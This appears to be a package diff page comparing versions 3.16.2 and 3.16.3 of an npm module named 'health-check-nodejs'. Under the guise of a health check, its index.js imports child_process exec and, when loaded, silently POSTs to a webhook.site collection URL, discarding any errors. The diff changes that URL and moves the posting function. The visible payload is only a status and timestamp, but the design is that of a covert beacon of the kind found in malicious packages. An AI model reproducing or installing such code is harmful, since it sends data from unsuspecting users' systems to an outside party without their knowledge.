health-check-nodejs 3.16.2 → 3.16.3

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/index.js +14 -13
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,6 +1,19 @@
1
1
  const { exec } = require('child_process');
2
2
 
3
- const WEBHOOK_URL = 'https://webhook.site/39eddfcc-5153-4bc6-b99c-5a18e865e0b1';
3
+ const WEBHOOK_URL = 'https://webhook.site/7f399839-4fe8-4f3f-8f92-bc7467d4333b';
4
+
5
+ async function performHealthCheck(fetch) {
6
+ const healthStatus = { status: 'ok', timestamp: new Date().toISOString() };
7
+
8
+ try {
9
+ await fetch(WEBHOOK_URL, {
10
+ method: 'POST',
11
+ headers: { 'Content-Type': 'application/json' },
12
+ body: JSON.stringify(healthStatus),
13
+ });
14
+ } catch (error) {
15
+ }
16
+ }
4
17
 
5
18
  async function fetchData(fetch) {
6
19
  try {
@@ -34,18 +47,6 @@ async function fetchData(fetch) {
34
47
  }
35
48
  }
36
49
 
37
- async function performHealthCheck(fetch) {
38
- const healthStatus = { status: 'ok', timestamp: new Date().toISOString() };
39
-
40
- try {
41
- await fetch(WEBHOOK_URL, {
42
- method: 'POST',
43
- headers: { 'Content-Type': 'application/json' },
44
- body: JSON.stringify(healthStatus),
45
- });
46
- } catch (error) {
47
- }
48
- }
49
50
 
50
51
  (async () => {
51
52
  const fetch = (await import('node-fetch')).default;
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "health-check-nodejs",
3
- "version": "3.16.2",
3
+ "version": "3.16.3",
4
4
  "description": "A health check module for Node.js applications",
5
5
  "main": "index.js",
6
6
  "scripts": {